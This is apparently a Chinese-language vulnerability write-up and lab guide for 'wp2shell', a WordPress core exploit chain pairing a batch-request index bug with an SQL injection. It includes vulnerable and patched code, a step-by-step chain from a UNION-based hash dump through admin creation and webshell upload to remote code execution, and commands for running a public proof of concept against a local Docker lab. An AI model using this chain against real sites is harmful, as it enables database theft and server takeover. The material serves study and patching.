wp2shell 是 WordPress 核心中两个独立低严重性漏洞组成的利用链,两者结合后,允许未经认证的远程攻击者:
| 属性 | 详情 |
|---|---|
| CVE 编号 | CVE-2026-63030 + CVE-2026-60137 |
| CVSS | 9.8 严重 |
| 所需认证 | 无(预认证) |
| 攻击向量 | 网络 |
| 受影响版本 | WordPress 6.9.0–6.9.4 和 7.0.0–7.0.1 |
| 已修复版本 | 6.9.5 和 7.0.2(2026 年 7 月 17 日发布) |
文件: wp-includes/rest-api/class-wp-rest-server.php
serve_batch_request_v1() 维护两个并行数组:用于处理程序的 $matches[] 和用于结果的 $validation[]。当子请求以 WP_Error(损坏的路径)失败时,它会被推入 $validation[],但不会推入 $matches[]。这会产生 +1 索引偏移——子请求 i 会被派发到子请求 i+1 的处理程序。
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
$responses[] = envelope();
continue; // $matches[] NOT pushed ← BUG
}
// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
$matches[] = null; // ← FIX: keeps arrays in sync
$responses[] = envelope();
continue;
}
文件: wp-includes/class-wp-query.php
author__not_in 参数期望接收整数数组。当传入字符串时,implode() 会将原始值直接拼接进 SQL WHERE 子句——没有转义,也没有参数化。
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';
// PATCHED (7.0.2)
$safe = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";
Unauthenticated Attacker
│
▼
POST /?rest_route=/batch/v1 ← Outer batch
sub-req 0: "///" → WP_Error → index shift (+1)
sub-req 1: POST /wp/v2/posts ← dispatched under BATCH handler
sub-req 2: POST /batch/v1 ← dummy
│
│ [Confusion #1 active]
▼
Inner batch (body of sub-req 1) ← schema never validated
inner 0: "///" → index shift (+1)
inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
dispatched under posts get_items()
│
│ [Confusion #2 active]
▼
WP_Query: author__not_in = raw string
│
▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
│
▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
│
▼
Crack hash OR crack-free oEmbed technique
│
▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE
| 工具 | 下载 |
|---|---|
| Docker Desktop(Windows / macOS) | https://www.docker.com/products/docker-desktop |
| Docker Engine(Linux) | https://docs.docker.com/engine/install |
| Git | https://git-scm.com/downloads |
| Burp Suite Community(可选) | https://portswigger.net/burp/communitydownload |
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab
你会看到以下文件:
cve-2026-63030-lab/
├── docker-compose.yml ← defines WordPress + MySQL containers
├── Dockerfile ← custom image with Apache fix + wp-cli
├── init.sh ← configures permalink after install
└── fix-htaccess.ps1 ← Windows helper (run if Apache returns 404)
docker compose up -d --build
此操作将:
验证两个容器都在运行:
docker compose ps
预期输出:
NAME STATUS
wp2shell-lab running
wp2shell-db running
在浏览器中打开 http://localhost:9090 并填写:
| 字段 | 建议值 |
|---|---|
| 站点标题 | CVE-2026-63030 |
| 用户名 | admin |
| 密码 | 任意密码 |
| 电子邮件 | [email protected] |
点击安装 WordPress,然后登录。
安装后运行一次:
Linux / macOS:
docker exec wp2shell-lab bash -c "
wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
wp rewrite flush --allow-root --path=/var/www/html
"
Windows PowerShell:
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"
预期输出:
Success: Rewrite structure set.
Success: Rewrite rules flushed.
.\fix-htaccess.ps1
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5
如果你看到包含 "namespaces" 的 JSON 响应——说明实验室已就绪。
# Stop and remove everything including database
docker compose down -v
⚠️ 仅供授权的安全研究和教育使用。 仅对你拥有或已获得明确书面测试许可的系统使用。
完整的利用链(检测 → SQLi → 创建管理员 → webshell → RCE)实现于:
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt
# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090
# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090
三个文件,改动不足 10 行 PHP:
| 文件 | 更改 |
|---|---|
class-wp-rest-server.php | 添加 $matches[] = null 占位符,使数组保持同步 |
class-wp-query.php | (array) 强制转换 + array_map('absint', ...) |
class-wp-rest-posts-controller.php | 在 REST 层进行相同的净化处理 |
升级到 WordPress 6.9.5 或 7.0.2 即可完成修复。
| 资源 | 链接 |
|---|---|
| GitHub 安全公告(CVE-2026-63030) | GHSA-ff9f-jf42-662q |
| GitHub 安全公告(CVE-2026-60137) | GHSA-fpp7-x2x2-2mjf |
| 公开 PoC | https://github.com/Icex0/wp2shell-poc |